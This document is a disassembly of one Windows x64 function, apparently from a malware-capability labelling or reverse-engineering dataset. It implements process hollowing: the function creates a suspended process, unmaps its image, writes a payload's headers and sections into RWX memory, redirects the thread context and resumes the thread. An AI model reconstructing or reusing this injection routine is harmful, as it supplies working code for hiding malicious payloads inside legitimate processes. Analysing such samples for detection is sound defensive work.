Function at 0x180034020
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x520]
sub rsp, 0x620
mov rax, qword [0x18043a040]
xor rax, rsp
mov qword [rbp + 0x510], rax
mov r14, rdx
mov r15, rcx
mov qword [rsp + 0x68], rcx
mov qword [rbp - 0x58], rdx
lea rdx, str.Running_payload..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180038160
movsxd rax, dword [r15 + 0x3c]
mov qword [rsp + 0x70], rax
mov ecx, dword [rax + r15 + 0x50]
mov dword [rsp + 0x58], ecx
movsxd r13, dword [rax + r15 + 0x54]
mov ecx, dword [rax + r15 + 0x28]
mov dword [rsp + 0x60], ecx
movzx esi, word [rax + r15 + 6]
mov word [rsp + 0x52], si
movzx eax, word [rax + r15 + 0x14]
mov word [rsp + 0x50], ax
lea rdx, str.Getting_image_base..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180038160
movsxd rax, dword [r15 + 0x3c]
mov rbx, qword [rax + r15 + 0x30]
lea rdx, str.Image_base_obtained:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180038160
lea rdx, [0x180034000]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
lea rdx, [0x180033fe0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x1800d0c58]
call fcn.180038160
mov qword [rbp - 0x78], rbx
lea rdx, str.Creating_process..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180038160
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp + 0x14], xmm0
movups xmmword [rbp + 0x24], xmm0
mov dword [rbp + 0x34], eax
mov dword [rbp - 0x30], 0x68
mov rdx, r14
lea rcx, [rbp - 0x50]
call fcn.180037f50
nop
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rdx, qword [rbp - 0x50]
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test eax, eax
jne 0x180034253
lea rdx, str.CreateProcess_failed._n
call fcn.180038160
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x1800341fe
inc rdx
mov rcx, qword [rbp - 0x50]
cmp rdx, 0x1000
mov rax, rcx
jb 0x1800341f9
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800346bf
call fcn.18004cff8
mov byte [rbp - 0x50], 0
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], 0xf
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x180034248
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x180034243
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18003474d
mov rcx, r8
call fcn.18004cff8
mov qword [r14 + 0x10], rbx
xor al, al
jmp 0x180034717
lea rdx, str.Process_created._Handle:
call fcn.180038160
mov rdx, qword [rbp - 0x70]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x1800d0c58]
call fcn.180038160
mov rdi, qword [rbp - 0x70]
mov qword [rsp + 0x78], rdi
mov r12, qword [rbp - 0x68]
mov qword [rbp - 0x80], r12
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.ZwUnmapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rdx, str.Unmapping_view_of_section..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180038160
mov rdx, qword [rbp - 0x78]
mov rcx, rdi
call rbx
lea rdx, str.Allocating_memory_in_target_process..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180038160
movsxd r8, dword [rsp + 0x58]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [rbp - 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rax, rax
jne 0x18003437b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.VirtualAllocEx_failed._Error_code:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180038160
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1800d0c58]
call fcn.180038160
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x180034371
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003436c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800346bf
call fcn.18004cff8
xor ebx, ebx
mov byte [rbp - 0x50], bl
jmp 0x180034202
lea rdx, str.Writing_headers_to_memory..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180038160
mov r9, r13
xor r13d, r13d
mov qword [rsp + 0x20], r13
mov r8, r15
mov rdx, qword [rbp - 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x180034451
lea rdx, str.WriteProcessMemory__headers__failed._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180038160
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x180034400
inc rdx
mov rcx, qword [rbp - 0x50]
cmp rdx, 0x1000
mov rax, rcx
jb 0x1800343fb
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800346bf
call fcn.18004cff8
mov byte [rbp - 0x50], 0
mov qword [rbp - 0x38], 0xf
mov qword [rbp - 0x40], r13
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x18003444a
inc rdx
cmp rdx, 0x1000
mov rcx, qword [r14]
jb 0x180034445
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18003474d
mov rcx, r8
call fcn.18004cff8
xor al, al
jmp 0x180034713
movzx r15d, r13w
cmp r13w, si
jge 0x180034561
movsx rbx, word [rsp + 0x50]
add rbx, 0x18
mov qword [rsp + 0x58], rbx
nop
mov ecx, 0x28
call fcn.18004d09c
mov r13, rax
movsx ecx, r15w
lea edx, [rcx + rcx*4]
shl edx, 3
movsxd rcx, edx
add rcx, rbx
add rcx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x68]
movups xmm0, xmmword [rcx + rax]
movups xmmword [r13], xmm0
movups xmm1, xmmword [rcx + rax + 0x10]
movups xmmword [r13 + 0x10], xmm1
movsd xmm0, qword [rcx + rax + 0x20]
movsd qword [r13 + 0x20], xmm0
movsxd rdi, dword [r13 + 0xc]
movsxd rbx, dword [r13 + 0x14]
movsxd rsi, dword [r13 + 0x10]
mov rcx, rsi
call fcn.18004d09c
mov r12, rax
mov rdx, rbx
add rdx, qword [rsp + 0x68]
mov r8, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.Writing_section
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180038160
movzx edx, r15w
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___short_int____ptr64]
mov rcx, rax
lea rdx, str._to_memory..._n
call fcn.180038160
mov rdx, rdi
add rdx, qword [rbp - 0x78]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
mov r9, rsi
mov r8, r12
mov rdi, qword [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800345b0
mov rcx, r13
call fcn.18004cff8
mov rcx, r12
call fcn.18004cff8
inc r15w
cmp r15w, word [rsp + 0x52]
mov rbx, qword [rsp + 0x58]
jl 0x180034470
mov r12, qword [rbp - 0x80]
xor r13d, r13d
xor edx, edx
mov r8d, 0x4d0
lea rcx, [rbp + 0x40]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x70], 0x10000b
lea rdx, str.Getting_thread_context..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180038160
lea rdx, [rbp + 0x40]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test eax, eax
jne 0x1800345df
lea rdx, str.GetThreadContext_failed._n
jmp 0x1800343bf
lea rdx, str.WriteProcessMemory__section
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180038160
movzx edx, r15w
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___short_int____ptr64]
mov rcx, rax
lea rdx, str.__failed._n
jmp 0x1800341bd
mov rbx, qword [rbp + 0xc8]
lea rdx, str.Setting_up_context..._n
call fcn.180038160
lea rdx, [rbx + 0x10]
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rbp - 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test eax, eax
jne 0x180034625
lea rdx, str.WriteProcessMemory__context_setup__failed._n
jmp 0x1800343bf
movsxd rax, dword [rsp + 0x60]
add rax, qword [rbp - 0x78]
mov qword [rbp + 0xc0], rax
lea rdx, str.Setting_thread_context..._n
call fcn.180038160
lea rdx, [rbp + 0x40]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test eax, eax
jne 0x180034665
lea rdx, str.SetThreadContext_failed._n
jmp 0x1800343bf
lea rdx, str.Resuming_thread..._n
call fcn.180038160
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x1800346cb
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800346c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800346c6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18004cff8
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x180034711
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x18003470c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18003474d
mov rcx, r8
call fcn.18004cff8
mov al, 1
mov qword [r14 + 0x10], r13
mov byte [r14], 0
mov qword [r14 + 0x18], 0xf
mov rcx, qword [rbp + 0x510]
xor rcx, rsp
call fcn.18004c8c0
mov rbx, qword [rsp + 0x670]
add rsp, 0x620
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3